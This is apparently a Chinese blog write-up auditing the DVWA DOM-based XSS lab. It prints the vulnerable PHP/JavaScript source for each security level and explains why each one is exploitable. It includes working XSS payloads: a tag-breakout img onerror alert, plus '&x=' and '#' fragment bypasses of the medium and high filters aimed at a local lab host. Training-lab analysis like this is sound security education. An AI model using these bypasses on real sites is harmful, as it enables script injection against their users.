代码审计——DVWA DOM Based Cross Site Scripting (XSS) DOM型XSS
关于三种XSS类型的流程
DOM型
代码 -> 浏览器(js)
反射性型
代码 -> 浏览器 ->php -> 浏览器
存储性型
代码->浏览器->PHP->数据库->php->浏览器
Low等级代码
<?php
这个意思就是没有过滤 输入什么就会输出什么。
# No protections, anything goes
没有保护,什么都没有
?>
index.php代码
<?php
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
$page = dvwaPageNewGrab();
$page[ 'title' ] = 'Vulnerability: DOM Based Cross Site Scripting (XSS)' . $page[ 'title_separator' ].$page[ 'title' ];
$page[ 'page_id' ] = 'xss_d';
$page[ 'help_button' ] = 'xss_d';
$page[ 'source_button' ] = 'xss_d';
dvwaDatabaseConnect();
$vulnerabilityFile = '';
switch( $_COOKIE[ 'security' ] ) {
case 'low':
$vulnerabilityFile = 'low.php';
break;
case 'medium':
$vulnerabilityFile = 'medium.php';
break;
case 'high':
$vulnerabilityFile = 'high.php';
break;
default:
$vulnerabilityFile = 'impossible.php';
break;
}
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/xss_d/source/{$vulnerabilityFile}";
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}
$page[ 'body' ] = <<<EOF
<div class="body_padded">
<h1>Vulnerability: DOM Based Cross Site Scripting (XSS)</h1>
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>
EOF;
$page[ 'body' ] .= "
<h2>More Information</h2>
<ul>
<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)' ) . "</li>
<li>" . dvwaExternalLinkUrlGet( 'https://www.acunetix.com/blog/articles/dom-xss-explained/' ) . "</li>
</ul>
</div>\n";
dvwaHtmlEcho( $page );
?>
关键的代码块是这
<script>
//document.location.href.indexOf 取得当前网页URL的
if (document.location.href.indexOf("default=") >= 0) {
//lang变量就是截取default传递的值
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
//$decodeURI(lang) 将传递的值进行URL解码 然后输出到 option标签中
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
大概的流程是这样的,获取default传递的值,如果default中有值的话,把值进行URL解码。然后在option标签中显示。如果值为空就显示原始的option中的数据
Low等级代码没有过滤直接提交 xss代码就行
Medium等级代码
<?php
//array_key_exists函数检查某个数组中是否存在指定的键名
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# stripos 查找在字符串中第一次出现的位置
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
medium等级的代码的流程是这样的 首先判断 $_GET是否是default传递的值并且default不能为空。使用stripos ()函数判断 是否存在<script ,如果存在就进行跳转并结束代码;
需要绕过<script,才能出发DOM型XSS。
可以使用<img 标签来进行绕过。这里需要把option标签进行闭合才能出触发。在上面讲过default中有值的话,把值进行URL解码。然后在option标签中显示。而option标签中是不允许存在 img 图片标签的 所以需要闭合标签才能触发
</option></select><img src=1 onerror=alert("1111")>
下面这两种也可以绕过
规则中只会检测default变量的东西 而不会检测X,使用&X就可以绕过
#在php中 ,#后边是不接受的所以这里也可以绕过。
http://192.168.111.1/vulnerabilities/xss_d/?default=German&x=<script>alert(/xss/)</script>
http://192.168.111.1/vulnerabilities/xss_d/?default=German#<script>alert(/xss/)</script>
High等级代码
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
分析代码
default变量中的值,必须是French,English,German,Spanish才行否则就进行跳转结束运行;
这里的绕过可以使用上面提到的方式进行绕过
default=German&x=<script>alert(/xss/)</script>
default=German#<script>alert(/xss/)</script>
impossible等级代码
<?php
不需要做任何事情,保护在客户端处理
# Don't need to do anything, protction handled on the client side
这里的过滤全部交给了 index.php文件
?>
impossible设置等级时,查看网页源码。发现$decodeURI(lang)没有了 ,这里不管你怎么传递都会先进行一次URL编码 而不解码 所以这样就不存在DOM型XSS了。
上一篇: Qt5之海思交叉编译笔记